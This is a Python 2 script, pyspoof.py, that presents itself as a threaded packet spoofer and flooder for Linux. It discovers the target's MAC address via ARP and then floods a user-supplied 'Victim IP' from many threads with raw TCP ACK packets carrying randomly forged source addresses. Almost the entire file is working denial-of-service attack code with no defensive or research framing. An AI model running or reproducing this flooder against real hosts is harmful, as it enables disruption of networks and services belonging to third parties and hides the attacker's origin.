#!/usr/bin/python # Threaded packet spoofer / flooder for Linux. # entropy@phiral.net # enum@greynode.org # http://www.phiral.net/pyspoof.py # Requires dpkt: # wget http://dpkt.googlecode.com/files/dpkt-1.7.tar.gz # tar -xvzf dpkt-1.7.tar.gz; cd dpkt-1.7/; python setup.py install import sys, getopt import fcntl, socket, struct import os, string from threading import Thread from random import randrange, randint from dpkt import tcp, ip, ethernet, arp, hexdump def eth_aton(buf): addr = '' buf = string.join(string.split(buf,':'), '') for i in range(0, len(buf), 2): addr = ''.join([addr,struct.pack('B', int(buf[i: i + 2], 16))],) return addr def get_ifaces(): """ This method could definitely be improved """ ifaces = os.popen("ifconfig -s -a|grep 1500|awk '{print $1}'").read().split('\n') return ifaces[:-1] class pySpoof(Thread): def __init__(self, debug, iface, src_mac, dst_mac, dst_addr, src_port, dst_port): Thread.__init__(self) self.debug = debug self.iface = iface self.src_mac = src_mac self.dst_mac = dst_mac self.src_addr = '' self.dst_addr = dst_addr self.src_port = src_port self.dst_port = dst_port self.running = True def get_rand_addr(self): not_valid = [10,127,169,172,192] first = randrange(1, 224) while first in not_valid: first = randrange(1, 224) addr = '%s.%s' % (first, ".".join([str(randrange(1,256)) for i in range(3)])) return addr def spoof(self): if self.src_port <= 0 or self.src_port >= 65535: src_port = randint(1025, 65534) if self.dst_port <= 0 or self.dst_port >= 65535: dst_port = randint(1, 1024) t = tcp.TCP(seq=randint(1000000, 2147483647), ack=randint(1000000, 2147483647), flags=16, dport=dst_port, sport=src_port) self.src_addr = self.get_rand_addr() i = ip.IP(src=socket.inet_aton(self.src_addr), dst=socket.inet_aton(self.dst_addr), len=40, p=6, data=t) e = ethernet.Ethernet(dst=eth_aton(self.dst_mac), src=eth_aton(self.src_mac), data=i) if self.debug: print "%s:%d -> %s:%d" %\ (self.src_addr, src_port, self.dst_addr, dst_port) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((self.iface, ethernet.ETH_TYPE_IP)) s.send(str(e)) def run(self): while self.running: try: self.spoof() except Exception, e: print "Error sending packet: %s" % e.args class SocketManager: """ A factory for configuring and then producing pySpoof objects. """ def __init__(self, debug, iface, dst_addr): self.debug = debug self.iface = iface self.dst_addr = dst_addr self.src_mac = self.get_mac() self.src_addr = self.get_addr() if self.debug: print "Using my MAC address %s to ARP" % self.src_mac print "Using my IP address %s to ARP" % self.src_addr try: self.dst_addr = socket.gethostbyname(dst_addr) except socket.gaierror, err: print "FATAL: Can't resolve hostname %s: %s" % (dst_addr, err[1]) sys.exit(-1) self.dst_mac = self.get_dst_mac() def get_mac(self): """ Returns the MAC address of self.iface """ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', self.iface[:15])) return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] def get_addr(self): """ Returns the IP address of self.iface """ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) info = fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', self.iface[:15]))[20:24] return socket.inet_ntoa(info) def eth_ntoa(self, buf): addr = '' for intval in struct.unpack('BBBBBB', buf): if intval > 15: addr = ''.join([addr, hex(intval).replace('0x', '')]) else: addr = ''.join([addr, hex(intval).replace('x', '')]) return addr def build_arp(self): arp_p = arp.ARP() arp_p.sha = eth_aton(self.src_mac) arp_p.spa = socket.inet_aton(self.src_addr) arp_p.tha = '\x00\x00\x00\x00\x00\x00' arp_p.tpa = socket.inet_aton(self.dst_addr) arp_p.op = arp.ARP_OP_REQUEST pkt = ethernet.Ethernet() pkt.src = eth_aton(self.src_mac) pkt.dst = '\xff\xff\xff\xff\xff\xff' pkt.data = arp_p pkt.type = ethernet.ETH_TYPE_ARP return pkt def get_dst_mac(self): pkt = self.build_arp() if self.debug: print "\nSEND:\n%s\n" % hexdump(str(pkt)) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((self.iface, ethernet.ETH_TYPE_ARP)) s.send(str(pkt)) data = s.recv(1024) s.close() if self.debug: print "\nRECV:\n%s\n" % hexdump(data) answer = ethernet.Ethernet(data) arp_p = answer.data dst_mac_tmp = self.eth_ntoa(arp_p.sha) dst_mac = ':'.join(dst_mac_tmp[i:i+2] for i in xrange(0, len(dst_mac_tmp), 2)) if self.debug: print "\nDST MAC:\n%s\n" % dst_mac return dst_mac def pySpoof(self, dst_addr, src_port, dst_port): return pySpoof(self.debug, self.iface, self.src_mac, self.dst_mac, dst_addr, src_port, dst_port) def get_iface(): """ I/O function that interacts with the user to choose a source interface """ ifaces = get_ifaces() while True: print "\nAvailable Interfaces:" print "=====================" for i in range(len(ifaces)): print "[%d] %s" % (i, ifaces[i]) choice = raw_input("Interface [?]: ") try: stripped = str(int(choice)) if int(stripped) > -1 and int(stripped) < len(ifaces): break else: print "\n[e] Invalid interface" except: print "\n[e] Invalid choice" return ifaces[int(stripped)] def usage(): print "./pyspoof.py [-t -r -i -s -d -h -D]\n" print "-t|--target " print "-r|--threads " print "-i|--interface " print "-s|--sport " print "-d|--dport " print "-D|--debug Enables debugging" print "-h|--help Shows this help\n" print "Eg. ./pyspoof.py -D" print "Eg. ./pyspoof.py -t 192.168.0.1 -r 5 -i eth0\n" def main(argv): try: opts, args = getopt.getopt(argv, "hDt:r:i:s:d:", ["help", "debug", "target=", "threads=", "interface=", "sport=", "dport="]) except getopt.GetoptError: usage() sys.exit(-1) dst_addr = '' threads = 0 iface = '' sport = 0 dport = 0 debug = False for o, a in opts: if o in ("-h", "--help"): usage() sys.exit(0) elif o in ("-D", "--debug"): debug = True elif o in ("-t", "--target"): dst_addr = a elif o in ("-r", "--threads"): threads = int(a) elif o in ("-i", "--interface"): iface = a elif o in ("-s", "--sport"): sport = int(a) elif o in ("-d", "--dport"): dport = int(a) if threads <= 0 or threads >= 128: threads = 5 if not len(iface): iface = get_iface() print "\nWorking with interface: %s" % iface if not len(dst_addr): dst_addr = raw_input("\nVictim IP: ") sm = SocketManager(debug, iface, dst_addr) rthreads = [] for x in range(threads): t = sm.pySpoof(dst_addr, sport, dport) rthreads.append(t) t.start() while len(rthreads) > 0: try: rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()] except KeyboardInterrupt: print "\nShutting down threads...\n" for t in rthreads: t.running = False if __name__ == "__main__": main(sys.argv[1:])